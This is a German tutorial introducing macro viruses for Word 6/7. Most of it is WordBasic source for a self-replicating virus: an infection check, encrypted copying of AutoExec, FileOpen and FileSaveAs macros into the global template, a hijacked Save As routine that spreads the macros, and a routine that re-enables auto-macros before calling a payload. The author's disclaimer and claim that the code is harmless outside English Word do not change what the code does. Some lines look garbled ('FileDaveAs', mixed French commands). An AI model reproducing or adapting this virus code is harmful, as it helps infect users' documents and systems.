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Eine kleine Einfuhrung in die Funktionsweise von Makroviren




Eine kleine Einführung in die Funktionsweise von Makroviren

1. Vorbereitung

Diese Beschreibung dient dem Selbststudium über Funktionsweisen von Makroviren. Dieses Dokument soll nicht als Anleitung oder Ermutigung von Programmieren von Makro­viren, Viren, oder anderen destruktiven Programmen ermutigen. Der Autor dieses Dokuments haftet für keine Schäden, die aus der direkten oder indirekten Verwendung dieses Dokumentes resultieren!

Zu aller erst sollte man ein Backup der Datei "Normal.dot" im Word Vorlagen Verzeichnis machen, in der DOS-Box mit folgendem Kommando: copy normal.dot normal.sav (im Word Vorlagen Verzeichnis).

2. Struktur

Viele Makroviren haben eine einfache und übersichtliche Struktur, an der man sehr gut nachvollziehen kann, wie (generell) "qualitativ hochwertige" Viren programmiert werden. Obwohl die Implementationssprache (der BASIC-Dialekt "WordBasic") keine besonders gute ist (Anachronismen => "goto"), ist der Quelltext doch verständlich. Um ein wenig mitzukommen, wie alles wirklich funktioniert, sollten sie die Hilfedatei zu WordBasic installiert haben und auch mindestens eine Programmiersprache (z.B. PASCAL, besser noch TCL) beherrschen.



Das hier ist eine erste Grundstruktur, die testet, ob eine Vorlage schon infiziert. Ist dieser Test negativ, so infiziert der Virus die Vorlage:

Sub MAIN

      ' Das ist ein Kommentar in BASIC

      On Error Goto Abort

      iMacroCount = CountMacros(0, 0)

      'Auf eine bereits bestehende Infektion überprüfen

      For i = 1 To iMacroCount

            If MacroName$(i, 0, 0) = 'PayLoad' Then

                  bInstalled = - 1

            'Gibt es schon ein PayLoad Makro?

            End If

            If MacroName$(i, 0, 0) = 'FileSaveAs' Then

                  bTooMuchTrouble = - 1

            'Gibt es schon ein FileSaveAs, ist die Infektion zu kompliziert!

            End If

      Next i

      If Not bInstalled And Not bTooMuchTrouble Then

            'Kopien von FileSaveAs und AutoExec anlegen

            'Payload dient nur zum Überprüfen, ob die Vorlage schon infiziert ist.

            'Das ,1 verschlüsselt alle Makros, damit sie nicht mehr in Word gelesen

            'werden können.

            iWW6IInstance = Val(GetDocumentVar$('WW6Infector'))

            sMe$ = FileName$()

            Macro$ = sMe$ + ':PayLoad'

            MacroCopy Macro$, 'Global:PayLoad', 1

            Macro$ = sMe$ + ':FileOpen'

            MacroCopy Macro$, 'Global:FileOpen', 1

            Macro$ = sMe$ + ':FileSaveAs'

            MacroCopy Macro$, 'Global:FileSaveAs', 1

            Macro$ = sMe$ + ':AutoExec'

            MacroCopy Macro$, 'Global:AutoExec', 1

            SetProfileString 'WW6I', Str$(iWW6IInstance + 1)

      End If

Abort:

End Sub

Das war die erste Grundstruktur eines Makrovirus. Dieser Quelltext funktioniert jedoch nur auf englischem Word 6 oder 7, in der deutschen Version versteht der Interpreter die englischen Befehle nicht. Das habe ich aus Sicherheit gemacht, damit niemand dieses Dokument mißbrauchen kann (niemand wird ein englisches Word besitzen)!

Dieser Code wird in die SaveAs Routine eingebracht:

Sub MAIN

Dim dlg As FileSaveAs

GetCurValues dlg

Dialog dlg

If (Dlg.Format = 0) Or (dlg.Format = 1) Then

      'Hier könnte man wieder das ,1 verwenden, um die Makros zu verschlüsseln!




      MacroCopy 'FileSaveAs', WindowName$() + ':FileSaveAs'

      MacroCopy 'FileSave ', WindowName$() + ':FileSave'

      MacroCopy 'PayLoad', WindowName$() + ':PayLoad'

      MacroCopy 'FileOpen', WindowName$() + ':FileOpen'

      Dlg.Format = 1

End If

FileDaveAs dlg

End Sub

Das ist bis jetzt ein ziemlich effektives Makro, um den Virus zu verbreiten. Nun gilt es auch, den Makrovirus zu verstecken oder eine Schadensroutine auszuführen (was natürlich destruktiv ist!).

Dazu kann man dieses Makro verwenden:

Sub MAIN

        On Error Goto ErrorRoutine

        OldName$ = NomFichier$()

        If macros.bDebug Then

                MsgBox 'start ToolsMacro'

                Dim dlg As OutilsMacro

                If macros.bDebug Then MsgBox '1'

                GetCurValues dlg

                If macros.bDebug Then MsgBox '2'

                On Error Goto Skip

                Dialog dlg

                OutilsMacro dlg

Skip:

        On Error Goto ErrorRoutine             

        End If

        REM enable automacros

        DisableAutoMacros 0

        macros.SavToGlobal(OldName$)

        macros.objectiv

        Goto Done

ErrorRoutine:

        On Error Goto Done

        If macros.bDebug Then

                MsgBox 'error ' + Str$(Err) + ' occurred'

        End If

Done:

End Sub

3. Nachwort

Diese Beispiele verdeutlichen, wie einfach es doch ist, seinen eigenen Makrovirus zu programmieren. Microsoft hat es wirklich leicht gemacht und auf viele Schutzfunktionen vergessen. Interessant werden auch Makroviren, deren Wirtsdokument von Word 95 auf Word 97/2000 konvertiert wird. Dies ist eine nicht zu unterschätzende Gefahr: dabei entstehen neue Versionen von bereits bekannten Viren, AntiViren-Programme müssen erst damit umgehen lernen (z.B. McAfee: Update der Virus Data Files ist dann notwendig). Doch nur ca. 5 % aller Makroviren überleben diese Konvertierung, denn die Schutzfunktion in Word 97 sind um einiges strenger geworden.










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